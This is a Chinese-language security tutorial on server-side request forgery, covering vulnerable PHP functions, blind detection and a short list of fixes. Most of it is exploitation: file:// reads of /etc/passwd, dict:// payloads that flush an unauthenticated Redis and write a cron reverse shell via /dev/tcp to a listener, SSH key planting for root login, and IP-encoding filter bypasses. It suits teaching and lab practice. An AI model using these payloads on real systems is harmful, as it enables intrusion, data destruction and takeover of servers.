服务器端请求伪造漏洞

服务器端请求伪造漏洞基础

客户端请求

客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入URL或点击链接时,浏览器会自动发起HTTP请求,请求服务器返回指定的资源。

服务器端请求

服务器上的应用程序或服务会提供一些功能接口,比如API接口,用于与其他服务进行数据交互。这些由服务器向其他的服务器发起的请求称之为服务器端请求。

服务器端请求伪造

服务器端请求伪造(Server-side Request Forgery)简称SSRF,是指攻击者通过伪造服务器端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。

漏洞形成原因

由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

漏洞危害

  • 窃取数据:攻击者可以伪造请求以访问服务器内部网络或云环境中的其他服务或资源,以窃取敏感数
    据。
  • 攻击第三方系统:攻击者可以伪造请求以攻击第三方系统,例如访问其他组织的敏感数据或执行拒绝
    服务攻击。
  • 内部端口扫描:攻击者可以伪造请求以扫描服务器内部端口和服务,以寻找其他可能的漏洞。
  • 获取指纹信息:通过获取 web 应用可达服务器服务的指纹信息。

漏洞场景

SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感的内部资源。

  • 文件上传功能:Web应用程序通常允许用户上传文件,攻击者可以上传包含恶意URL的文件,以触发SSRF漏洞。
  • 图片处理功能:Web应用程序通常包含图片处理功能,攻击者可以在图片URL中注入恶意的URL,以触发SSRF漏洞。
  • URL重定向功能:Web应用程序可能包含URL重定向功能,攻击者可以在重定向URL中注入恶意的URL,以触发SSRF漏洞。
  • API调用:Web应用程序可能会使用API与其他服务进行交互,攻击者可以在API请求中注入恶意的URL, 以触发SSRF漏洞。

以百度在线翻译为例,其允许用户传入URL,然后百度在线翻译会去请求该URL将的到的结果进行翻译并返回给用户

image-20230423200452938

在这个过程中,如果百度在线翻译没有对用户传入的URL进行验证,则攻击者可以传入一个百度的内网地址,那么百度翻译就会请求这个内网地址将的到的结果进行翻译并返回给攻击者,从而攻击者就成功的获得了百度翻译这个服务器的内网其他信息。

漏洞函数

php:

这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中注入恶意代码来触发SSRF漏洞。

java:

仅支持 HTTP/HTTPS 协议的类:HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request类
支持 sun.net.www.protocol 所有协议的类:URLConnection 类、URL 类、ImageIO 类

(1) curl_exec

  • 格式:curl_exec(resource $ch)
  • 作用:执行 cURL 会话

获取一个网页

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 创建一个cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "https://www.baidu.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

image-20230423202841511

(2) file_get_contents

  • 格式:file_get_contents(path,include_path,context,start,max_length)
  • 作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。
1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.txt';\
file_put_contents($filename,$content);
echo$_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo$img;
?>

image-20230423211632407

(3) fsockopen

  • 格式:fsockopen(string $hostname [, int $port = -1 [, int &$errno[, string &$errstr [, float $timeout = ini_get(“default_socket_timeout”) ]]]] )
  • 作用:打开一个网络连接或者一个Unix 套接字连接。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$fp = fsockopen("192.168.247.135", 1234, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: 192.168.247.135\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

image-20230423211843423

漏洞类型

  • 有回显:页面有返回具体内容。
  • 无回显:页面没有返回具体内容

判断是否存在

在无回显(Blind)的SSRF攻击中,攻击者无法直接获取目标系统返回的响应,因此需要寻找一种方法来间接地确认攻击是否成功。

DNSLog是一种常用的间接确认方法,它通过向一个域名提交请求,然后查看DNS服务器的日志来获取该域名的请求记录,从而确认攻击是否成功。

攻击者可以在SSRF漏洞中注入带有DNSLog服务地址的URL,并将该URL发送到目标服务器上,当目
标服务器对该URL进行请求时,DNSLog服务将接收到请求并记录在日志中。攻击者可以定期查看
DNSLog的日志,以确认目标服务器是否对该URL进行了请求。

  • DNS

    域名解析系统(Domain Name System), 用户在浏览器输入一个域名, 靠DNS服务解析域名的真实IP,
    访问服务器上相应的服务。

  • DNSLOG

    DNS的日志, 存储在DNS 服务器上的域名信息, 记录着用户对域名的访问信息,类似日志文件

服务器端请求伪造漏洞利用

读取敏感文件

(1) 通过file协议读取敏感文件

  • 格式:file://filepath
  • 作用:本地文件传输协议,用于访问本地计算机中的文件。好比通过Windows的资源管理器中打开文件或者通过右键单击【打开】一样。

A. 读取/etc/passwd

在Linux 中 /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。
系统管理员经常会接触到这个文件的修改以完成对用户的管理工作

image-20230423214210160

image-20230423214237851

B. 读取/etc/hosts

hosts文件主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。可以用文本文件打开!当用户在浏览器中输入一个网址时,系统会首先自动从hosts文件中寻找对应的IP地址,一旦找到,浏览器会立即打开对应网页,如果没有找到,则浏览器会将网址提交DNS服务器进行IP地址解析。简单来说就是负责ip地址与域名快速解析的文件,读取文件可以得到内网所在网段。

image-20230423214325957

探测内网服务

(1) 通过dict协议探测内网服务

  • 格式:dict://
  • 作用:dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料(包括谷歌上)。在SSRF漏洞利用中,常常用来探测内网的应用信息

image-20230423214427809

除了探测以上这些文件之外,还可以通过爆破的方式读取其它的文件。

从上方可以得到所在的内网C段为172.17.0.13。得到了内网所在网段,可以对同C段其它的主机进行探 测。

攻击内网应用

(1) 通过dict://协议攻击内网Redis

Redis是一个key-value 存储系统,是跨平台的非关系型数据库。

Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,攻击者可以通过写定时任务的方式进行反弹shell。

https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
https://xz.aliyun.com/t/9488

测试redis是否存在未授权访问漏洞

1
dict://ip:port/info

image-20230423214754056

A. 写定时任务

定时任务目录

centos,在/var/spool/cron/目录下
ubuntu 的定时任务在 /var/spool/cron/crontabs/ 目录下

可以根据服务器是否存在以下文件判断服务器的信息

1
2
3
4
5
#Centos
/etc/redhat-release

#Ubuntu
/etc/lsb-release

image-20230423222518756

第一步
在攻击主机(如果你的攻击目标是本地靶场,那攻击机可以使用ubuntu;如果攻击目标是公网服务器,则接收反弹shell的机器也需要是公网服务器)监听一个端口,用以接收受害主机执行的定时任务所反弹回来的shell。

1
nc -lvnp 1234

第二步

在存在漏洞的网站依次执行

#清空数据库(慎用)
dict://127.0.0.1:6379/flushall

设置工作目录
dict://127.0.0.1:6379/config set dir /var/spool/cron/

设置保存的文件名
dict://127.0.0.1:6379/config set dbfilename root

设置变量x,如果你是在本地虚拟机ubuntu监听,则下方的ip也需要修改为ubuntu
dict://127.0.0.1:6379/set x “\n*/2 * * * * bash -i &> /dev/tcp/192.168.247.133/1234 0>&1\n”

保存
dict://127.0.0.1:6379/save

格式:分 时 日 月 周 命令
第1列表示分钟1~59 每分钟用或者 /1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列 表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

攻击成功后攻击者监听的端口回接收到反弹回来的shell。

B. 写SSH公钥
SSH 密钥对可以让您方便的登录到 SSH 服务器,而无需输入密码。SSH 密钥对总是成双出现的,一
把公钥,一把私钥。公钥可以自由的放在您所需要连接的 SSH 服务器上,而私钥必须的保管好。
公钥登录,很多时候也说public key认证,公钥登录的原理:首先用户将自己的公钥存储在需要登录的
远程机器上面,然后登录的时候,远程主机会向用户发送一段随机字符串,接着用户使用自己的私钥
加密字符串,并发给远程主机。最后,远程主机使用存储的公钥进行解密,若解密成功,则说明用户
可信,准许登录,不再提示输入密码。

1、服务端会将客户端发的公钥写入到~/.ssh/authorized_keys 文件末尾。
2、公钥和私钥在客户端(登录端)生成

攻击流程

第一步

首先就是探测是否存在漏洞,比如说读取文件

image-20230423223723315

第二步

探测端口,22端口存在服务

第三步

测试其redis是否存在未授权访问漏洞

第四步

通过redis写ssh公钥,首先攻击方生成一对 ssh key,默认情况下,生成后在用户的家目录下的 .ssh 目录下

1
ssh-keygen -t rsa

先将公钥的数据拿出来,加上 \n\n 是为了不破坏 ssh public key

1
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

然后在目标网站上执行

dict://172.17.0.3:6379/flushall //flush线上环境慎用
dict://172.17.0.3:6379/config set dir /root/.ssh/
dict://172.17.0.3:6379/config set dbfilename “authorized_keys”
dict://172.17.0.3:6379/set test “\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfhtihBf70F3wmS8Kb7nIu2LVubcFIjMMG12C7/eudQ7MPNqz0rVASOtkeE5osLXkC06xTvO4FSL+H2PUVZA8q6W5mXDhpvQrz4B6BNMu4E7+dt7Y2XjImwTYah9RQ1dchQR3vM4jSWEoPu3XqpFjCb4HQ6YRb7fp+nKFeW1ldANl6i9ykEdGumz6XcAfZOZEdCZWNW9wWpoH1kjjnSJuPybd8Dtd1LO431pbto4D3ZxYf3OkadoVs0H/nwmSHRlL5eKWGWXpZ+N1Cb50JH53inzcKBmArWuMXGZIK31gx9qgSzMe0Ofp4Gr22FiYxrvVLW61/nzBs9ZLWgx92CpKp root@localhost.localdomain\n\n”
dict://172.17.0.3:6379/save

最后 攻击者利用私钥进行登录,-p为指定ssh端口,由于前面在环境搭建的时候是映射到2222端口,因此这里也需要进行修改

1
ssh root@192.168.81.206 -p 2222 -i ~/.ssh/id_rsa

(2) 通过gopher协议攻击内网应用
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a

基本协议格式:URL:gopher://:/_后接TCP数据流

Gopherus的运用
在 SSRF 易受攻击的站点上生成 Gopher 负载以利用 SSRF 并获得 RCE。
可以攻击的应用:MySQL、FastCGI、Memcached、Redis、Zabbix、SMTP

项目地址:https://github.com/tarunkant/Gopherus

绕过与防御

(1) 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

修复

过滤返回信息,验证远程服务器对请求的响应

统一错误信息

限制请求的端口为 http 常用的端口

禁用不需要的协议,仅允许 http 和 https 请求

设置 url 白名单或限制内网 ip